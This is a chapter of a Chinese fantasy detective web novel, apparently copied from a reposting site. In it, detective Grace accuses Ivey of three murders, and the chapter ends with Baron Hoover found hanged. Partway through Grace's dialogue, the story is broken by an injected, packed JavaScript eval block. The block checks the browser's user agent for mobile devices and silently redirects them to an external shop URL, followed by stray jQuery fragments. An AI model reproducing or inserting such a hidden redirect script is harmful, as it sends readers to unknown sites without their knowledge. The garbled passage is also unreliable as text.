21. 最后一案2

作品:《侦探小姐的逃亡日记[西幻]

    第三案,首领之死案,锁定真凶的关键在于,谁有机会给食物下毒?


    根据我后来委托汤米做的调查,毒药是被下在了酒里。


    于是,下一个问题是,酒是从哪里来的,又是谁将它送到水神厄斯教那?


    某位先生的名字就这样出现在我的面前。


    艾维。


    艾维先生,您资助水神厄斯教金钱的时候,也顺便送了他们酒,对吧?


    -


    艾维面对这个问题,没有马上作答,他手抵下唇,眨着眼睛,面露懊恼。


    “格瑞丝小姐,您为什么突然对我用敬语?我不喜欢。”


    “你才是一直对我用吧。”


    这句话正中他的下怀。


    他轻笑一声,眸光柔和地望着格瑞丝,声音亲切。


    “格瑞丝小姐,那是表面,我的心里一直都是亲昵地叫您格瑞丝的。”


    “……请你不要岔开话题。”


    格瑞丝烦躁,手指在桌子上抓挠。


    像小猫磨爪子。


    艾维观赏了她的动作一会,视线移向她的脸庞。


    “好吧,说回您的问题,我送过酒吗?我送过。”


    “你想说,你送了,但你没有下毒?”


    “这是当然。我送了很多酒,如果里面有毒,死去的又怎么会只有首领?”


    “比如说,你特意为他准备了一壶名贵的酒。”


    “啊,是有这个可能,但这只是您的臆测,不是吗?”


    “……”


    格瑞丝的语塞取悦了艾维。


    他笑得花枝乱颤,“太糟糕了,格瑞丝,又一个拙劣的证据!”


    他故意拿“格瑞丝”称呼她。


    她佯作没有听见,佯作不在乎地将话题翻向下一案。


    -


    第二案,杰里自|杀案,这一案里,我想凶手有一个巧妙的诱他死亡的方法。


    “您的意思是,杰里先生不是自|杀?”


    嗯,他不是,这样才符合他的“性格”。


    “所以,是某人从他的身后推了他咯?”


    不,凶手不需要这么做,他甚至不需要亲自去到被害者的房间。


    “凶手去都不去,却能杀人,格瑞丝小姐,这真是天方夜谭!”


    天方夜谭,那是针对没有魔法的世界的词汇,对这个世界并不适用。


    杰里有魔法。


    他能将他欣赏的人从梦境拉向他的房间、成为一抹幻影。


    学者、英雄、交际花都被他使用过这一魔法。


    那么,第四人,冒领了感谢诗的那位凶手,是不是也可能成为了幻影?


    “您的意思是,凶手使用幻影杀死了杰里?”


    对,用幻影和某些他最擅长的语言诡计。


    “您说这话时,一直看着我,真让人伤心。”


    哼……


    总之,凶手花言巧语哄骗、滋养了杰里心中对英勇行为的向往。


    然后,凶手迈向窗户,面朝杰里,夸张地张开手臂,身体后倒。


    哦,是的,他在跳窗!


    杰里渴求救他,朝他扑去,却连他的一根发丝都无法抓到。


    因为他不在这,他只是幻影。


    杰里就只是徒劳、愚蠢地把自己扔出了窗外。


    -


    格瑞丝结束第二案的讲述,艾维的唇角漾出一个十分好看的笑容。


    “格瑞丝小姐,您的想象力真是一次比一次丰富。”


    格瑞丝对他的话不予理会。


    她凝神看他,努力从他的脸上寻找破绽。


    她失败了。


    他看起来光明磊落,是那种心底连一丝一毫阴影都不容存在的人。


    说来,她最初认识他的时候,不就是这样想象他的吗?


    谁知后来——


    记忆的针猛然扎了格瑞丝一下,她的手痉挛地向下绷直。


    她大喘了一口气。


    气息吐出时,她紧皱着眉,一脸严肃地将案件的谈论继续。


    这将是他们谈论的最后一案。


    也同时,是他和她初遇时遇见的第一案。


    -


    劳埃德伯爵府的每一个人都在强调死者伯爵先生的愚蠢。


    可问题来了,这样一个愚蠢的人,为什么能想到制造亡灵的把戏?


    我说的不是他的父亲、杜德管家制造的那种匕首把戏。


    而是他“独创”的那种让墙上的东西落下、砸人脑袋的戏法。


    他最后不正是死于这种戏法下吗?


    大家都觉得这事荒谬、可笑。


    而我想,这是凶手计算之下的必然。


    因为,这一戏法其本身就是凶手亲自教授给劳埃德的!


    当然,他做的还不止于此。


    他还为了计划,以友情之名,送给了劳埃德一幅美丽的艺术品。


    还记得它吗?那幅娜塔神油画!


    这幅画来自国外,他辗转多国、多人将它千里迢迢送入努比亚城。


    为的就是不让人查到购买者的信息。


    他做得很成功。


    确实难查。


    以至于,我这些天一直在专研这件事,终于,让我抓到你了。


    -


    艾维无法记清他这天握住格瑞丝手的具体时间,但他会一直记下此刻。


    一直,一直。


    直到一场本不期望有尽头的分别迎来尽头。


    酒馆外,夕阳的霞光将将照入一柱。


    格瑞丝的手掌就在这时,倏然反过来握住他的。


    甚而,还将他的手指一根根把玩了遍。


    这样狎昵,这样暧昧。


    偏偏没有半点情愫的味道,有的只是宣告胜利的喜悦。


    既纯粹又可爱。


    是的,可爱。


    因为她的这一击还不足以致他的命。


    艾维望着她,目光是他自己都无法想象到的温柔。


    “格瑞丝小姐,您很努力,但恐怕魔法裁判庭不会认可这样的证据。”


    格瑞丝神态自若。


    “我早想到了,魔法裁判庭大半的人都是蠢货。”


    “那您调查这些又是为了什么呢?”


    “为了警告你。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460374|141697||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “为了警告我?”


    格瑞丝点头,她用力握住他的手,“我不会再让你有机会犯下案子。”


    艾维:“……”


    艾维顿住,轻轻侧了下脑袋,他面向她的神情猝然变得有些古怪。


    还是温柔。


    但温柔中夹杂了些许之前没有的轻蔑和讥诮。


    “……晚了。”


    他以她和他相握的手作支点,直起身,朝她倾斜,对她说道。


    格瑞丝滞了两秒,问:“什么晚了?”


    他笑了笑,不说话。


    她追问:“告诉我,到底,什么晚了?!”


    他还是笑。


    她已经明白。


    她甩开他的手,跳了起来,像是有一把火点着了她的衣服,事实比这更糟。


    被火点燃的是她的心脏。


    她奔跑。


    她跑出酒馆,像陀螺一般在外面的分岔路口头晕目眩。


    我要去哪?


    哪里是案发地点?


    不,什么案发……事情还不一定发生!


    冷静,格瑞丝,冷静。


    思考,格瑞丝,思考!


    格瑞丝,如果你是他,你会怎么做?


    她有答案了。


    她转身,朝她的住所奔去。


    她知道她选对了方向,因为他就站在她的身后,幽灵一般地笑。


    ……


    …………


    侦探们往往在奔赴现场的路上,脑海里已先构造出场景的模样。


    因为他们对这类事司空见惯。


    死亡、鲜血、尸体。


    全世界,所有人,男女老少都一样。


    那么即使当着尸体的面表现淡漠,不流一滴眼泪,旁人也会表示理解。


    “这很正常。”


    “这是你们的职业。”


    对,正常。


    对,她早就见惯了这样的东西。


    对,对,对——


    格瑞丝的一根神经在门被她推开的瞬间里,断掉半截。


    那段时间的记忆、目中所见都变得断断续续。


    裸露的双脚,泥泞的裤子,破烂的骑马服,崭新的帽子,荡来荡去的身体。


    像秋千。


    小孩子喜欢玩秋千。


    她小的时候也玩过。


    他有一个女儿,一个儿子。


    一个是疯子,一个是诗人。


    一个聪明绝顶,一个才华横溢。


    “他们也喜欢玩秋千吗,胡佛先生?”


    格瑞丝仰起脖子,仰到最高处,望着一张死寂的面孔,热切地问。


    她等他回复。


    她知道他不会回复。


    她固执地面朝那张脸,脾气坏地皱着眉,等了又等。


    等到她断掉的那根神经恢复连接。


    她理智、果断地抛弃了所有没有意义的事,把身体正了回去。


    她调整呼吸,移动步子,环视四周。


    她开始第五起案件的调查。


    死者,胡佛男爵,凶器为麻绳,死因为窒息,现场疑似为自|杀。